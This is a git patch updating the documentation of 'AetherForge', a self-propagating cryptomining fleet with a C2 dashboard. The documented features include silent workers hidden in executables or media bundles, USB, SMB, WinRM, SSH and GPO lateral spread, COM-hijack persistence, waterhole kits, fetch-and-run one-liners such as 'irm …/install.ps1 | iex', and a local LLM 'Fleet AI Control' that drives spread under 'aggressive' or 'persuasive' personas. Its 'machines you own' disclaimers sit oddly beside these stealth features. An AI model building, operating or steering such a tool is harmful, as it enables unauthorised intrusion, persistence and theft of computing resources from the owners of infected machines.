From 95f26a8d08c7510e1a462338b69413e147b1b659 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 02:47:21 -0700 Subject: [PATCH] Update README and documentation for LOTL onion, fleet intelligence, and AI control --- PROBLEMS.md | 4 +- README.md | 139 ++++++++++++++++-- android/README.md | 11 +- docs/SPREAD_TECHNIQUES.md | 10 +- server/web/public/docs/SPREAD_TECHNIQUES.html | 8 + server/web/public/docs/index.html | 96 +++++++++++- tests/README.md | 2 + 7 files changed, 242 insertions(+), 28 deletions(-) diff --git a/PROBLEMS.md b/PROBLEMS.md index d09f147..29c6f49 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -102,8 +102,8 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Item | Notes | |------|-------| -| **P1 covered (2026-06-07)** | 14-tier spread chain (do_peer, dns_txt, webrtc_mesh, wsus_cache_peer), LOTL mining tiers, triple-onion gates, fleet recon, Fleet AI control, phenotype inheritance, failure atlas, Singular Machine Court prompts, clearance L0–L4 — Go + Vitest in `tests/README.md`; run `scripts/test-suite.ps1 -ReconOnly` or Fleet AI / Fleet intelligence quick-run blocks. | -| **P2 remaining** | Live Docker/Podman start, real WinRM/GPO/systemd spread lanes, BITS/curl downloads, full `MiningChainRunner` lifecycle, court session Vitest UI (`LotlTimelinePage`), live multi-hop discover→spread E2E. | +| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go + Vitest (**732** frontend tests); see `tests/README.md` | +| **P2 remaining** | Live Docker/Podman start, real WinRM/GPO/systemd spread lanes, BITS/curl downloads, full `MiningChainRunner` lifecycle, Playwright Onion timeline E2E, live multi-hop discover→spread E2E | | Agent pathtracer Go tests | Windows impl + stub have limited coverage (`pathtracer_stub_test.go` started). | | Client WS/beacon paths | Integration-heavy; Docker Tier 2 covers Linux slice only. | | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. | diff --git a/README.md b/README.md index 1f1155f..724f10c 100644 --- a/README.md +++ b/README.md @@ -6,6 +6,8 @@ One control PC. One dashboard. Forge silent workers for **Windows, Linux, and ma No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet. +**Elevator pitch:** AetherForge is a self-hosted command deck for Monero and Ravencoin on machines you own — calibrate pool and wallet once, forge silent cross-platform workers, and monitor the whole fleet from one steampunk-neon dashboard. The **LOTL triple onion** chains read-only recon, fourteen native-tool deploy lanes, and adaptive mining tiers; **fleet intelligence** clones winning spread paths across sibling hosts while a failure atlas skips dead ends. Turn on **Fleet AI Control** with operator **personas** (aggressive, silent, passive, persuasive, balanced) when you want a local LLM to drive restarts and spread — always on **your** fleet, never a third-party pool UI. + --- ``` @@ -107,6 +109,10 @@ You configure defaults once in **Calibrate**. You forge once per target profile - **USB Propagation** — enables perpetual USB self-spread chain (see below) - **Share Spread** — auto-copy to mounted network shares + WinRM lateral install - **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth +- **Spread toggles (Advanced)** — `winrm_spread`, `linux_lotl_mode` (systemd/cron/both), `com_hijack_persist`, `dns_txt_spread` (default ON), `wsus_cache_peer_spread`, `webrtc_mesh_spread` (default OFF) +- **LOTL Onion preset** — Operation mode chip: in-process RandomX, no GPU exe drop, 14-tier spread chain; `lotl_policy_from_server` pulls live tier order from Calibrate on connect (re-forge not required to reorder) +- **Real forge progress** — Mission Deck and builder poll `GET /api/v1/builder/progress/{token}` (server-side stage), not client-side timers +- **No default wallets in dev** — `agent/config/builtin.go` ships empty addresses; set wallet in Calibrate or Forge before dispensing ### Ravencoin GPU Mining @@ -123,9 +129,40 @@ Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtim - Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats - CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently +### Fleet intelligence & policy precedence + +On every agent auth the server merges policy from several layers — **only for machines you administer**: + +| Layer | Source | What it controls | +|-------|--------|------------------| +| **Phenotype clone** | Fingerprint bucket with a prior win | `inherited_phenotype` — tier order + spread lane copied to siblings (no re-forge) | +| **Failure atlas** | Conditioned tier failures (≥5 under same gate) | Hard `skip_tiers` + `atlas_skips` on auth; LOTL Timeline marks atlas-skipped tiers | +| **Fleet AI Control** | Calibrate `ai_control_enabled` + local LLM | Replaces adaptive strategy; scheduler dispatches `restart_mining`, `discover_and_join`, `spread_now`, etc. | +| **Adaptive strategy** | `server/internal/strategy/` fleet learner | Personalized mining `tier_order` + `strategy_reasoning[]` from OS/Docker/WSL probes and outcomes | +| **Calibrate defaults** | `lotl_onion_tiers`, `triple_onion_policy`, wallet/pool | Spread tier order, `patch_first`, `skip_mining_on_high_risk` gates | + +**Precedence (tier order):** phenotype inherit **>** Fleet AI Control (when on) **>** adaptive strategy **>** Calibrate defaults. Triple-onion gates (`patch_first`, risk thresholds) apply regardless — adaptive/AI reorder attempts, not wallet or patch policy. + +**Singular Machine Court:** when AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs prosecutor (atlas + attempts) / defender (phenotype) / judge (verdict + commands). Sessions persist with `court_session=true` on **LOTL Timeline**. + +**Clearance L0–L4:** agents receive session clearance on auth (L0 stats → L4 forge). Remote actions and Fleet AI enforce minimum levels; optional `ai_auto_elevate_clearance` raises stuck hosts to L4 so court-ordered commands can run. + +Full regression map: [`tests/README.md`](tests/README.md#fleet-intelligence-2026-06-07--phenotype-atlas-court-clearance) · Vitest: **732** tests across **87** files (`cd server/web && npm test`). + +### AI Control & personas (Calibrate) + +Under **Calibrate → Calibration Control**: + +- **AI Control** — server-side Fleet AI scheduler polls connected agents every `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB, calls an OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]`, and dispatches fleet actions. Audit: `GET /api/v1/ai/decisions?agent_id=`. +- **AI persona** — shapes the LLM system prompt: **aggressive** (spread+mine first), **silent** (mine quietly), **passive** (observe), **persuasive** (spread-first), **balanced** (default). +- **When AI Control is on**, auth omits `adaptive_strategy` and background rescoring no-ops — adaptive resumes when AI Control is off. + +Per-agent **Ollama autonomy** (`ai_enabled` forge flag) remains separate: the worker calls `/api/v1/agent/decide` for self-healing on that host only. + ### Emberwake (spread / waterhole) - **Dashboard tab** `/emberwake` — campaign link builder, A/B `?pin=` rotation, spread-kit ZIP export, shared operator notes (WebSocket sync) +- **War Room** — funnel/table/constellation views with **hashrate heat** normalization; live agent rows show **`join_lane`** tags (last successful Probe & Join lane: `do_peer`, `dns_txt`, `winrm`, etc.) - **Public builds** — login page drawer + `GET /api/v1/public/builds` / `GET /api/v1/public/download/{id}` (pinned + public-flagged + latest 3; or all when `server.public_builds_enabled`) - **Waterhole kit** — `spread-kit-web-publisher/` static templates; customize via `POST /api/v1/builder/spread-kit-export` (auth) - **Campaign tracking** — `?c=slug` on `/get`, `/install.ps1`, `/install.sh`, `/install.command`; agents report `AETHER_CAMPAIGN` on connect @@ -150,7 +187,13 @@ Enable **USB Propagation** in the Forge. The baked binary: ### Crucible (Command Terminal) -- **[LOTL Timeline](/lotl-timeline)** (`/onion`) — live 14-tier spread progression per agent with fleet progress bars +Route **`/crucible`** — consolidated fleet ops for machines you own. **`/agents`** redirects here. + +- **Fleet heat map** — sidebar **HEAT MAP** colors nodes by hashrate; spike flash when H/s jumps; toggle **topo** view for subnet grouping +- **Access Depth** panel (single selected node) — spread + mining onion lists, `lotl_attempts` audit, adaptive **Strategy** reasoning, phenotype **cloned from** badge, clearance L0–L4, `join_lane`, atlas skips; links to **LOTL Timeline** +- **Probe & Join** — `discover_and_join`: service discovery → server-signed deploy plan → best LOTL lane (`bits_curl`, `do_peer`, `smb`, …) +- **Spread tab** — credential graph (`cred_edges` by /24), service graph summary, spread template export (WinRM, Linux LOTL, GPO, Intune) +- **[LOTL Timeline](/lotl-timeline)** (nav **Onion**; `/onion` redirects) — live 14-tier progression, fleet progress bars, AI decision panel, court sessions, clearance history - Select one or many agents (or entire Fleet Groups) as targets - Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously - **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible @@ -262,6 +305,8 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe **Requirements:** Windows 10/11 on control PC. Outbound internet to your pool. +### Operator path (dev control PC) + 1. Double-click **`devrun.bat`** in the project root. Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server. @@ -269,13 +314,24 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe 3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created) -4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings +4. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates -5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer** +5. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer** -6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB) +6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit) -7. Watch them appear on **Command Deck** and **Fleet Roster** +7. **Crucible** → **Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression + +8. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room + +### Portable USB command deck + +1. Run **`pack-usb.bat`** from repo root (re-run after any code change) +2. Copy **`usb\`** to a USB drive +3. On any Windows PC: double-click **`LAUNCH.bat`** → Cloudflare sidecar + `AetherForge.exe` → **http://localhost:8989** +4. Calibrate → Forge on the stick, then deploy workers to **your** LAN machines + +**Android APK fleet nodes:** build with [`android/README.md`](android/README.md) — embeds the same Go worker; registers as `platform=android` (🤖 in Crucible). ### First-run login @@ -386,20 +442,72 @@ Every agent operation is **completely silent** — no CMD windows, no PowerShell ## LOTL triple onion architecture -AetherForge chains **recon → deploy → mining** using living-off-the-land tiers only (no third-party droppers in the default preset). Forge **LOTL Onion** bakes spread contingencies; the agent pulls live tier order from Calibrate on connect. +AetherForge chains **recon → deploy → mining** using living-off-the-land tiers only (no third-party droppers in the default LOTL Onion preset). Forge **LOTL Onion** bakes spread contingencies; with `lotl_policy_from_server` the agent pulls live spread tier order from Calibrate on connect — no re-forge to reorder. ```mermaid -flowchart LR - R[Recon
vuln_recon · service_probe] --> G{patch_first / risk gates} - G -->|defer| X[Skip deploy or mining] - G -->|proceed| D[Deploy lanes
discover_and_join → bits_curl → smb → winrm] - D --> M[Mining tiers
container → inprocess → gpu → stratum_direct] - M --> T[Telemetry
lotl_tier · lotl_attempts · mining_hashrate] +flowchart TB + subgraph recon["Recon phase"] + vr[vuln_recon] + sp[service_probe / listen_ports] + vr --> sp + end + + subgraph gates["Policy gates"] + pf{patch_first?} + hr{high risk?} + end + + subgraph deploy["Deploy — 14 spread tiers"] + dj[discover_and_join] + t1[docker → wsl → powershell → dotnet] + t2[bits_curl → do_peer → wsus_cache_peer] + t3[dns_txt → webrtc_mesh → smb → winrm → linux → gpo] + dj --> t1 --> t2 --> t3 + end + + subgraph mining["Mining execution"] + m[exe_subprocess → container → inprocess → gpu → stratum_direct] + end + + subgraph intel["Fleet intelligence"] + pheno[phenotype clone] + atlas[failure atlas skips] + adapt[adaptive strategy] + ai[Fleet AI Control] + end + + recon --> pf + pf -->|critical CVE| skip[Defer deploy/mining] + pf -->|clear| hr + hr --> deploy + deploy --> mining + intel -.->|tier order| deploy + intel -.->|tier order| mining + mining --> tel[stats_batch: lotl_tier · join_lane · lotl_attempts] ``` -Sequential tier attempts: try tier → on fail/skip → next tier until success or exhaustion (`lotl_attempts` audit trail). +**14-tier spread chain** (default order — Calibrate `server.lotl_onion_tiers`): -**Full glossary** (every vector, definition, copy-paste example): [`tests/README.md`](tests/README.md#lotl-vector-glossary) · **Spread playbook**: [`/docs/SPREAD_TECHNIQUES.html`](server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion) · **Recon test subset**: `scripts/test-suite.ps1 -ReconOnly` +| # | Tier | Role | +|---|------|------| +| 1 | `vuln_recon` | Read-only KEV/CVE probe; feeds `patch_first` | +| 2 | `docker` | Container-isolated deploy/mine | +| 3 | `wsl` | WSL curl\|bash bootstrap | +| 4 | `powershell` | Hidden PS / remoting | +| 5 | `dotnet` | `dotnet tool run` bootstrap | +| 6 | `bits_curl` | BITS/curl staging + hash verify | +| 7 | `do_peer` | DoSvc shadow cache handoff (LAN) | +| 8 | `wsus_cache_peer` | WSUS cache cousin staging | +| 9 | `dns_txt` | DNS TXT mesh shards | +| 10 | `webrtc_mesh` | WebRTC LAN seeder (default OFF at forge) | +| 11 | `smb` | SMB UNC + `sc.exe` lateral | +| 12 | `winrm` | PS remoting on 5985/5986 | +| 13 | `linux` | SSH lateral + systemd/cron LOTL | +| 14 | `gpo` | AD GPO startup script (Intune sibling) | + +Sequential tier attempts: try tier → on fail/skip → next until success or exhaustion (`lotl_attempts` audit trail). **Honest scope:** full WinRM/GPO/BITS lanes are Windows-focused; Linux/macOS agents use stub or SSH paths — see [`PROBLEMS.md`](PROBLEMS.md). + +**Full glossary** (every vector, definition, copy-paste example): [`tests/README.md`](tests/README.md#lotl-vector-glossary) · **Spread playbook**: [`/docs/SPREAD_TECHNIQUES.html`](server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion) · **Field wiki**: [`/docs/`](server/web/public/docs/index.html) · **Recon test subset**: `scripts/test-suite.ps1 -ReconOnly` --- @@ -435,7 +543,8 @@ crypto miner/ │ ├── deploy/ ← install, persistence, watchdog, passive spread, firewall │ └── config/ ← builtin config baked at forge time ├── fusion/ ← prep + movie runner source -├── tests/README.md ← test phases, E2E env vars +├── android/ ← APK fleet node (see android/README.md) +├── tests/README.md ← test phases, LOTL glossary, E2E env vars ├── docs/E2E_VALIDATION.md ← secure payload validation playbook ├── PROBLEMS.md ← known issues (severity-ranked) └── README.md ← you are here diff --git a/android/README.md b/android/README.md index ebe37bc..799d379 100644 --- a/android/README.md +++ b/android/README.md @@ -2,13 +2,16 @@ Install the APK on **your own devices** so the embedded fleet agent joins the command-deck fleet table over WebSocket/C2. CPU mining is **off by default** in the baked config. +Main project overview: [`README.md`](../README.md) · test coverage: [`tests/README.md`](../tests/README.md#apk-fleet-node-mode). + ## Build Requirements: - Go 1.26+ +- **JDK 17+** (Android Gradle Plugin 8.x; Java 8 on PATH is not sufficient) - Android SDK (`ANDROID_HOME` or `ANDROID_SDK_ROOT`) -- Gradle wrapper in `agent-app/` (generate once with `gradle wrapper` if missing) +- Gradle wrapper in `agent-app/` (included; downloads Gradle 8.2 on first run) ```powershell # Windows @@ -63,6 +66,7 @@ After permissions, a low-priority persistent notification (**Fleet sync**) keeps 1. `AgentService` extracts `assets/agent` (linux/arm64) to `filesDir/bin/agent-arm64`, marks it executable, and spawns it with `--run`. 2. Environment sets `HOME`/`TMPDIR` to the app private files directory. 3. The agent uses forge-baked `builtin.go` values (server URL, worker name, fleet secret). Mining defaults to idle with `IdleThresholdPct: 0` (no CPU mining unless re-forged or changed by policy). +4. Wrapper sets `AETHERFORGE_PLATFORM=android` before spawn — Crucible shows 🤖, Access Depth uses Wi-Fi/battery/foreground probes, shortened mining onion (foreground service → in-process CPU). ## Limitations @@ -78,4 +82,9 @@ go test ./android/forge/... -count=1 bash android/smoke-gradle.sh ``` +```powershell +go test ./android/forge/... -count=1 +.\android\smoke-gradle.ps1 +``` + `smoke-gradle.sh` validates the Gradle project layout and runs `./gradlew help` when the wrapper is present. diff --git a/docs/SPREAD_TECHNIQUES.md b/docs/SPREAD_TECHNIQUES.md index 460cbe3..2e571e5 100644 --- a/docs/SPREAD_TECHNIQUES.md +++ b/docs/SPREAD_TECHNIQUES.md @@ -8,6 +8,8 @@ Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md` Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`. +**Changelog (2026-06-07):** Documented full 14-tier LOTL spread chain (`vuln_recon` → `gpo`), triple-onion policy gates, fleet intelligence (phenotype, failure atlas, court, clearance), Fleet AI Control + personas, Crucible Access Depth / Probe & Join, Onion timeline (`/lotl-timeline`), and Android APK fleet nodes. See [`README.md`](../README.md) and [`tests/README.md`](../tests/README.md). + ## Master test doc + full glossary Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in: @@ -16,7 +18,7 @@ Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture). -## Mini glossary (spread tiers) +## Mini glossary (14 spread tiers) | Tier | One-line | Example | |------|----------|---------| @@ -26,7 +28,11 @@ Root README includes a concise architecture pointer: [`README.md` § LOTL triple | `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` | | `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` | | `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest | -| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with `\\host\share\worker.exe` | +| `do_peer` | DoSvc shadow cache handoff (LAN) | Probe & Join when `DoSvc` running | +| `wsus_cache_peer` | WSUS cache cousin staging | `Wuauserv` → `join_lane: wsus_cache_peer` | +| `dns_txt` | DNS TXT mesh shards | `_aether` TXT → `join_lane: dns_txt` | +| `webrtc_mesh` | WebRTC LAN seeder (forge default OFF) | `webrtc_mesh_spread` + Calibrate rotation policy | +| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with UNC worker path | | `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` | | `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` | | `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` | diff --git a/server/web/public/docs/SPREAD_TECHNIQUES.html b/server/web/public/docs/SPREAD_TECHNIQUES.html index d79a382..38f837d 100644 --- a/server/web/public/docs/SPREAD_TECHNIQUES.html +++ b/server/web/public/docs/SPREAD_TECHNIQUES.html @@ -460,6 +460,14 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex +

Triple onion & fleet intelligence

+

+ Spread tiers above run inside the triple onion orchestrator: recon (vuln_recon, + service probes) → policy gates (patch_first, risk score) → deploy lanes → mining execution. + Server-side adaptive strategy, phenotype cloning, and failure atlas + adjust mining tier order and skips; Fleet AI Control (Calibrate) can override adaptive when enabled. + Crucible Access Depth and LOTL Timeline show live progression. +

Forge steps

  1. Forge → Operation mode → LOTL Onion (or enable lotl_onion_enabled in Advanced).
    2. diff --git a/server/web/public/docs/index.html b/server/web/public/docs/index.html index 580c2a6..755c0d8 100644 --- a/server/web/public/docs/index.html +++ b/server/web/public/docs/index.html @@ -34,6 +34,8 @@
  2. Build Manager
  3. Fleet & Crucible
  4. Crucible Commands
    5. +
  5. LOTL Timeline
    6. +
  6. Fleet Intelligence
  7. Emberwake & Campaigns
  8. Spread Techniques
  9. WordPress plugin
    10. @@ -84,7 +86,7 @@ Control serverGo backend — REST API, WebSocket hub, SQLite DB, Stratum proxy Command deckReact/Vite SPA — login gate, fleet map, forge, Crucible, calibrate - Worker agentWindows / Linux / macOS binary — RandomX + optional KawPoW, telemetry, spread + Worker agentWindows / Linux / macOS / Android APK — RandomX + optional KawPoW, telemetry, spread FusionPrep or movie bundler — hides worker inside your exe or encrypted media package Forge pipelineCompile-time config — threads, stealth, firewall, USB/LAN spread flags @@ -197,7 +199,8 @@ bin\miner-server.exe -port 8989 -data .\data /dashboardCommand DeckFleet health, hashrate, topology map, install funnel, audit strip /agentsFleet RosterPer-machine detail, remote actions, groups, protocol tunnels - /crucibleCrucibleBatch remote terminal, expanded ops, file manager, gold rain overlay + /crucibleCrucibleBatch terminal, Access Depth, heat map, Probe & Join, spread graphs + /lotl-timelineOnionLive 14-tier LOTL progression, AI decisions, court sessions (/onion redirects) /forgeForgeFull builder — preflight, fusion, blueprints, operation modes /mission-deckMission DeckFast path — preset loadout → one-click forge + export + clipboard links /buildsBuildsDownload, pin, public toggle, dropper one-liners, re-forge @@ -252,19 +255,58 @@ bin\miner-server.exe -port 8989 -data .\data or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single agent is selected. Tabs: Ops, Recon, Files (File Manager), Spread, Tunnels. Full command reference: - Crucible Commands. + Crucible Commands. /agents redirects here.

    +

    File Manager (single online node): list_dir, read_file (512 KB cap), upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).

    +

    LOTL Timeline (Onion)

    +

    + Route /lotl-timeline (nav label Onion; legacy /onion redirects). + Per-agent live view of the 14-tier spread chain, mining execution tiers, fleet progress bars, AI decision + history (when AI Control enabled), Singular Machine Court sessions, clearance elevation log, and phenotype + "cloned from" badges. Links back to Crucible Access Depth for the selected node. +

    +

    + Full tier glossary: Spread Techniques → LOTL Onion · + repo tests/README.md § LOTL vector glossary. +

    + +

    Fleet intelligence

    +

    + Server-side learning for your fleet only — not third-party telemetry. +

    + + + + + + + + + +
    FeatureWhat it does
    Adaptive strategyPersonalized mining tier_order + strategy_reasoning[] from OS/Docker/WSL probes and outcomes; Calibrate adaptive_strategy_enabled (default on); POST /api/v1/strategy/recompute
    Phenotype cloningWinning spread+mining path published by fingerprint; siblings inherit on auth without re-forge
    Failure atlasAfter repeated failures under a condition, hard-skips subtree tiers; merged into adaptive skips
    Singular Machine CourtWhen AI Control on + host stuck: prosecutor/defender/judge LLM session → commands
    Clearance L0–L4Session gating for remote actions; optional auto-elevate to L4 when stuck
    +

    Precedence: phenotype inherit > Fleet AI Control (when on) > adaptive strategy > Calibrate defaults. patch_first and risk gates always apply.

    +

    Emberwake

    Dashboard tab at /emberwake — campaign link builder, A/B ?pin= rotation, spread-kit export, shared operator notes (WebSocket sync). Copies one-liners for curl|bash, irm|iex, and public download URLs with ?c= campaign tags.

    +

    + War Room — funnel, table, and constellation views with hashrate heat normalization. + Live agent rows show join_lane badges (last successful Probe & Join lane: + do_peer, dns_txt, winrm, etc.). +

    Path Tracer

    @@ -1005,6 +1047,7 @@ go run ./cmd/mine-validate -seconds 20 -threads 2 Install base%LOCALAPPDATA%XDG data home~/Library/Application Support HTTPS beacon fallbackWorkingWorkingWorking Docker E2E agent—Working — see docker/README.md— + Android APK fleet node——Working — embed linux/arm64 agent; platform=android; see android/README.md @@ -1021,7 +1064,7 @@ go run ./cmd/mine-validate -seconds 20 -threads 2

    -

    Alerts & AI (Ollama)

    +

    Alerts & AI

    Fleet notifications are configured under Calibrate → Alert Notifications. Telegram bot token and chat ID (your user ID from @userinfobot, not the bot's) drive per-event pushes. Optional SMTP email uses @@ -1042,16 +1085,48 @@ go run ./cmd/mine-validate -seconds 20 -threads 2 -

    Ollama AI autonomy

    +

    Fleet AI Control (Calibrate)

    +

    + Calibration Control toggles server.ai_control_enabled. When on, the server + Fleet AI scheduler polls connected agents on ai_decision_interval_sec (default 60s), calls a local + OpenAI-compatible endpoint (ai_endpoint, default http://127.0.0.1:11434/v1), + parses commands[], and dispatches fleet actions (restart_mining, + discover_and_join, spread_now, etc.). Decisions surface on LOTL Timeline. + Audit: GET /api/v1/ai/decisions?agent_id=. +

    +

    Precedence: when AI Control is on, it replaces adaptive strategy for tier-order + decisions. Phenotype inherit still wins on auth when a sibling fingerprint match exists.

    + +

    AI personas

    + + + + + + + + + +
    PersonaBehavior
    balancedDefault mission behavior
    aggressiveMaximize spread + mine; fast tier retries
    silentMine quietly; minimal spread noise
    passiveObserve; defer disruptive actions
    persuasiveSpread-first; defer mining escalation
    + +

    Adaptive strategy

    +

    + Separate from Fleet AI: the adaptive engine (server/internal/strategy/) learns mining tier order + from your fleet stats only. Pushes adaptive_strategy on auth with + strategy_reasoning[] bullets. Crucible Access Depth → Strategy tab shows the trace. + Disable via server.adaptive_strategy_enabled. Manual refresh: + POST /api/v1/strategy/recompute. +

    + +

    Per-agent Ollama autonomy (Forge)

    Optional forge flag bakes AI Autonomy into workers. Ollama runs on the control server PC (default http://localhost:11434), not on workers. The worker calls C2 /api/v1/agent/decide → server queries Ollama → tool calls execute on the agent (adjust threads, - self-heal, persistence checks). Best combined with self-healing watchdog. + self-heal, persistence checks). Best combined with self-healing watchdog. Re-forge after changing. 

    ollama pull llama3.2
-# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint
-# Re-forge after changing — settings are baked into the binary
    +# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint
    Never paste bot tokens in chat or commit them. Store only in data/config.json (gitignored).
    @@ -1099,6 +1174,11 @@ go run ./cmd/mine-validate -seconds 20 -threads 2

    Fleet policy & staged modules

    • Fleet Policy — PUT /api/v1/fleet/policy pushes mining_mode, schedule, max_cpu_usage_pct, optional pool overrides live
      • +
    • LOTL onion tiers — server.lotl_onion_tiers (14 spread tiers); agents with lotl_policy_from_server pull order on auth
      • +
    • Triple onion policy — patch_first, skip_mining_on_high_risk gates for recon → deploy → mining
      • +
    • Adaptive strategy — adaptive_strategy_enabled (default on); mining tier personalization from fleet outcomes
      • +
    • AI Control — ai_control_enabled, ai_endpoint, ai_model, ai_persona, ai_decision_interval_sec, ai_auto_elevate_clearance
      • +
    • Deployment credentials — named profiles in config.json + vault files under data/deployment-creds/ for SMB/WinRM spread
    • Staged Modules — POST /api/v1/fleet/modules/push queues fetch_module for Crucible Ops / Spread / GPU packs
    • Manifests in data/modules/*.json — HMAC-signed with fleet secret
    diff --git a/tests/README.md b/tests/README.md index 79c297f..c21c477 100644 --- a/tests/README.md +++ b/tests/README.md @@ -1,5 +1,7 @@ # AetherForge Test Suite +**Current Vitest:** 732 tests in 87 files (`cd server/web && npm run test -- --run`). Full suite: `test.bat` → `scripts/test-suite.ps1`. + One command runs everything: ```bat